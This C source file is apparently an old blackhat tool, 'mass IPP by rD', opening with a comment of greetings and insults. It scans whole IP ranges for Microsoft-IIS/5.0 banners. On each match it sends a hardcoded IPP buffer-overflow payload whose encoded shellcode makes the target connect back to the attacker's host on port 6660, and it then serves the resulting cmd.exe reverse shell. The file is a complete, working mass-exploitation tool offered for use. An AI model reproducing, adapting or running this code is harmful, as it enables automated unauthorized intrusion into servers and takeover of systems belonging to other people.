/*
mass IPP by rD of USG
fuck all you ./hack scriptkiddies
fuck all ./juno kids
greetz to my brother bobbyd1gital of FBH
ain't no one online like bobby  to me!
ain't no one like Cc0d3r to me IRL
Inkubus stop posting advisories we are fucken blackhats not some brainwashed whitehats security industry slaves
shouts to v0id, NtWaK0, scut,c1sco, PHC and all the blackhats
the rap shit is eating my mind

rD of USG (UNIX Security Guards)
usg@africamail.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#include <arpa/inet.h>
#include <sys/errno.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

extern int errno;

#define LOCAL_IP "192.168.0.1" /* put your real ip here if you want to get the shell else you won't */
#define TIMEOUT  3
#define SHELL_TIMEOUT 6
#define BANNER "Microsoft-IIS/5.0"
#define SEND "HEAD / HTTP/1.0\r\n\r\n\r\n"
char server[500];
char *result;


void usage(char *);
void try(char *);
int jill(char *, char *);
static int i,x,y,z;
char A(char *);
char B(char *);
char C(char *);
char D(char *);
static char a[4],b[8],c[12],ip[17];
void shell(void);
/* main */

int main(int argc,char *argv[])
{

fprintf(stdout,"\n\n\t\t mass IPP for IIS/5.0 by rD\n\n");
if(argc != 3)
{
usage(argv[0]);
exit(-1);
}



while ((i = getopt (argc, argv, ":a:b:c:d:")) != EOF)
{
switch(i)
{

      case 'h': usage(argv[1]);
      break;

         case 'a': 
snprintf(a,sizeof(a),"%s",optarg);
                A(a);
         break;

  case 'b': snprintf(b,sizeof(b),"%s",optarg);
  B(b);
  break;

case 'c': snprintf(c,sizeof(c),"%s",optarg);
C(c);
break;

case 'd':try(optarg);
break;
}

}

}

/* end of main */

/* A */
char A(char *Aclass)
{

if(strlen(Aclass)>3)
{
printf("wrong range");
exit(-1);
}

for(x=0;x<=255;++x)
{
  for(y=0;y<=255;++y)
  {
for(z=0;z<=255;++z)
{
snprintf(ip,sizeof(ip),"%s.%d.%d.%d",Aclass,x,y,z);
printf("trying %s\t->\t",ip);
try(ip);
}  
  }
}

}

/* end of A */



/* B */
char B(char *Bclass)
{
for(y=0;y<=255;++y)
{
  for(z=0;z<=255;++z)
  {
  snprintf(ip,sizeof(ip),"%s.%d.%d",Bclass,y,z);
  printf("trying %s\t->\t",ip);
  try(ip);

  }


}


}

/* end of B */


/* C */
char C(char *Cclass)
{
for(z=0;z<=255;++z)
{
if( !strcmp(ip,".4") ) exit(EXIT_FAILURE);
snprintf(ip,sizeof(ip),"%s.%d",Cclass,z);
printf("trying %s\t->\t",ip);
try(ip);


}

}
  
/* end of C */


/* try */

void try(char *IP)
{
int sock,errex;
int numbytes = 0 , opt;
struct sockaddr_in remote;
fd_set wset;
struct timeval tv;

close(sock);
sock = socket(AF_INET,SOCK_STREAM,0);
remote.sin_port = htons(80);
remote.sin_addr.s_addr = inet_addr(IP);
remote.sin_family= AF_INET;
memset(remote.sin_zero,0,sizeof(remote.sin_zero));

fflush(stdout);
if (sock == -1)
{
perror("socket creation error");
return;
}
FD_ZERO( &wset );
FD_SET( sock , &wset );
tv.tv_sec  = TIMEOUT;
tv.tv_usec = 0;

if( fcntl( sock , F_SETFL , O_NONBLOCK ) == -1 )
{
 perror("fcntl error");
 return;
}

 errex = connect(sock,(struct sockaddr *)&remote,sizeof(struct sockaddr));

 if( errno != EINPROGRESS && errno != EISCONN )
 {
  perror("connection error");
  return;
 }

opt = select(sock+1,NULL,&wset,NULL,&tv);

if( fcntl( sock , F_SETFL , 0 ) == -1 )
{
 perror("fcntl error");
 return;
}

if( opt == -1 )
{
 perror("select error");
 return;
}
if( !opt )
{
printf("connection timed out..\n");
return;
}

numbytes = send(sock,SEND,sizeof(SEND),0);
if( numbytes == -1 )
{ 
perror("connection error"); 
return;
}
numbytes = recv(sock,server,sizeof(server),0);
if( numbytes == -1 )
{
perror("recv");
return;
}

server[numbytes]='\0';
if(strlen(server) == 0)
{
printf("connection closed\n");
return;
}
result = strstr(server,"Server:");
if( result  == NULL)
{
printf("no server string found\n");
return;

}
*(strchr(result, '\n')) = '\0';
printf("%s\n",result);

if(strstr(result,BANNER) != NULL)
{
printf("exploiting ...\n");
jill(IP, LOCAL_IP);
}
else
if(strstr(result,BANNER) == NULL)
{
close(sock);
return;
}
close(sock);
}
/* end of try */




/* jill */

int jill(char *victim, char *attacker)
{

#define aport 6660

unsigned char sploit[]=
"\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
"\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
"\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a";

        int                     s;
        unsigned short int      a_port;
        unsigned long           a_host;
        struct hostent          *ht;
        struct sockaddr_in      sin;



        if ((ht = gethostbyname(victim)) == NULL){
                hstrerror(h_errno);
        }

        sin.sin_port = htons(80);
        a_port = htons(aport);
        a_port^=0x9595;

        sin.sin_family = AF_INET;
        sin.sin_addr = *((struct in_addr *)ht->h_addr);

        if ((ht = gethostbyname(attacker)) == 0){
                herror(attacker);
return;
        }

        a_host = *((unsigned long *)ht->h_addr);
        a_host^=0x95959595;

        sploit[441]= (a_port) & 0xff;
        sploit[442]= (a_port >> 8) & 0xff;

        sploit[446]= (a_host) & 0xff;
        sploit[447]= (a_host >> 8) & 0xff;
        sploit[448]= (a_host >> 16) & 0xff;
        sploit[449]= (a_host >> 24) & 0xff;

        if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
                perror("socket");
return;
       
 }

        printf("\nconnecting to %s\n",victim);

        if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
                perror("connect");
return;
        }

        write(s, sploit, strlen(sploit));
        sleep (1);
        close (s);

printf("shellcode excuted, waiting for shell...\n");
//call the shell here
shell();
return;
}

/* end of jill */




/* usage */

void usage(char *prog)
{

fprintf(stderr, "usage %s <-a> xxx\n"
    "           <-b> xxx.xxx\n"
    "           <-c> xxx.xxx.xxx\n"
    "     <-d> <hostname>\n",prog);      

}
/* end of usgae */

/* start of shell */
void shell()
{


 int recvsock , newsock , numbytes ,  size , opt;
 char recvbuffer[2048];
 fd_set rs , rsmaster , wset;
 struct sockaddr_in local,incomming;
 struct timeval tv;

 size = sizeof( struct sockaddr );

 recvsock = socket(AF_INET , SOCK_STREAM , 0 );
 if( recvsock == -1 )
 {
  perror("socket creation error");
  return;
 }
 
 local.sin_addr.s_addr = INADDR_ANY;
 local.sin_port        = htons(6660);
 local.sin_family      = AF_INET;
 memset( local.sin_zero , 0 , sizeof(local.sin_zero) );

 if( ( bind(recvsock , (struct sockaddr *)&local , sizeof(struct sockaddr) ) 
) == -1 )
 {
  perror("bind error");
  return;
 }

 if( listen(recvsock , 10 ) == -1 )
 {
  perror("listen error");
  return;
 }
 
 FD_ZERO( &rsmaster );
 FD_ZERO( &wset );

 FD_SET( recvsock , &wset );
 tv.tv_sec  = SHELL_TIMEOUT;
 tv.tv_usec = 0;

 if( fcntl( recvsock , F_SETFL , O_NONBLOCK ) == -1 )
 {
  perror("fcntl error");
  return;
 }
 newsock = accept( recvsock , (struct sockaddr *)&incomming , &size);
 opt = select( recvsock+1 , &rsmaster , NULL , NULL , &tv );
 
 if( opt == -1 )
 {
  perror("select error");
  return;
 }

 if( !opt )
 {
  printf("damn it's patched!\n");
close(newsock);
close(recvsock);  
return;
 }
 
 if( fcntl( recvsock , F_SETFL , 0 ) == -1 )
 {
  perror("fcntl error");
  return;
 }
 printf("Incomming connection from %s\n",inet_ntoa(incomming.sin_addr));
 printf("Spawning cmd.exe\n\n");
 if( newsock == -1 )
 {
  perror("accept error");
  return;
 }
 

 while(1)
 {
  rs = rsmaster;
  
 FD_SET( newsock , &rsmaster );
 FD_SET( 0 , &rsmaster );
  
  opt = select( newsock + 1 , &rs , NULL , NULL , NULL );

  if( opt == -1 )
  {
   perror("select error");
   return;
  }
  
  if( FD_ISSET( 0 , &rs ) )
  {
   fgets(recvbuffer,sizeof(recvbuffer)-1,stdin);
   snprintf(recvbuffer,sizeof(recvbuffer),"%s\r\n",recvbuffer);
   numbytes = send(newsock , recvbuffer , strlen(recvbuffer) , 0);
   if( numbytes == -1 )
   {
    perror("send error");
    return;
   }
  }
  
  else if( FD_ISSET( newsock , &rs ) )
  {
   numbytes = recv( newsock , recvbuffer , sizeof(recvbuffer) - 1 , 0 );
   if( numbytes == -1 )
   {
    perror("recv error");
    return;
   }
   recvbuffer[numbytes-2] = '\n';
   recvbuffer[numbytes-1] = 0x0;
   printf("%s",recvbuffer);
  }

 }

}
/* end of shell */

/* EOF */